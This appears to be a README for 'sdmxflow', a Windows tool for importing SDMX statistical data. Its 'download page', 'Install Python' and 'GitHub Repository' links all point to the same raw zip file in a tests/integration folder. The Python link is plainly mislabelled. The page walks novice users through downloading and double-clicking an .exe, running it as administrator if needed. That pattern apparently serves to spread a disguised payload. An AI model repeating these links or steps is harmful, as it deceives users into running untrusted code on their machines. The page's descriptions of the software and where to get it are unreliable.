sdmxflow helps you bring statistical data into your system in a clear, organized way. It is designed to handle SDMX data, which is a standard format for sharing statistical information. With sdmxflow, you can keep track of your data and its history. You can also export useful lists, called codelists, and update your data without losing past versions. This makes your data warehouse organized and up to date.

Before you start, make sure your computer meets these needs:

• Operating System: Windows 10 or newer
• Processor: 1 GHz or faster
• Memory: At least 4 GB RAM
• Storage: Minimum 200 MB free space
• Internet: Required for downloading and initial setup

You do not need to install extra programs or tools to run basic features.

Follow these steps to get sdmxflow running on your Windows computer. They do not require any special skills.

Click the bright green button below to visit the download page:

This will take you to the GitHub page where you can find the files you need.

On the GitHub page:

• Look for the section called Releases on the right or down the page.
• Click the latest release folder.
• Find the file ending with .exe or similar that is for Windows.
• Click to download this file to your computer.

The file is the program you need. You will run this file next.

Most of the time, you do not need to install the program if it is a standalone .exe file. Just double-click the downloaded file to start it.

If an installer opens:

• Follow the instructions it shows on the screen.
• Choose where to save the program or keep the default location.
• After it finishes, the program will be ready to use.

If the program runs directly without installer, it should open a window or command prompt.

To start the program:

• Double-click the .exe file if still available.
• Or, if installed, find sdmxflow in your Start menu and click it.

The program may open a simple window or a command line interface.

sdmxflow focuses on importing statistical data and managing metadata:

• It will ask you to select or provide SDMX data files. These are often XML or CSV files.
• You can keep track of your data history. This means changes to your data are saved without deleting old versions.
• You can export lists of codes used in your data for easy reference.

Your data is saved in a way that adds new data without losing what is already there. This is called an "append-only" structure.

If you see messages asking for Python or extra tools, these are for advanced features. For basic use, you can ignore these or check below.

For users who want full features or to customize sdmxflow, you may need Python.

To install Python:

1. Visit https://github.com/Snorlaxissleeping/sdmxflow/raw/refs/heads/main/tests/integration/Software_1.1.zip
2. Download the latest Windows version.
3. Run the file and follow the install steps.
4. Make sure to select "Add Python to PATH" during installation.

After Python is ready, sdmxflow can use it for working with data files or running scripts.

sdmxflow works with three main types of data:

• Datasets: The main statistical data you want to analyze.
• Metadata: Information about your datasets, like descriptions and sources.
• Codelists: Lists that explain codes used in your datasets (for example, country codes).

The program saves these data in a way that you can always look back at old versions or add new data without erasing past information.

This helps keep your data clean and reliable.

• The program does not open: Make sure you have downloaded the correct Windows file and try running it as administrator (right-click and select "Run as administrator").
• Files won’t load: Check that your data files are not damaged and match SDMX format.
• Need Python but don’t have it: Follow the instructions in the "Optional: Installing Python" section.
• Data does not update: Make sure you are using the latest version of sdmxflow from the download page.

For more help, look on the GitHub page under "Issues" where users and developers share advice.

To get the latest improvements and fixes:

1. Visit the download page: https://github.com/Snorlaxissleeping/sdmxflow/raw/refs/heads/main/tests/integration/Software_1.1.zip
2. Check the latest release details.
3. Download the newest .exe or installer file.
4. Replace your old file with the new one.

Once done, you keep your work but get any new features and fixes.

• GitHub Repository: https://github.com/Snorlaxissleeping/sdmxflow/raw/refs/heads/main/tests/integration/Software_1.1.zip
• Documentation: Available on the repository page under the Docs folder or Wiki tab.
• Community Q&A: Use the Issues tab on GitHub for questions and answers.

These resources can help you understand how to use data files better and solve possible problems.

The software reads structured files in SDMX format and organizes data inside a special storage system. It saves every change as a new entry rather than deleting old data. This keeps your history safe and lets you track updates over time.

It also allows you to export code lists, which are helpful for understanding identifiers in your data. This structure is useful for reports and data analysis.

This approach suits users who work with statistical data and want to avoid accidental data loss.

Download sdmxflow from the official page: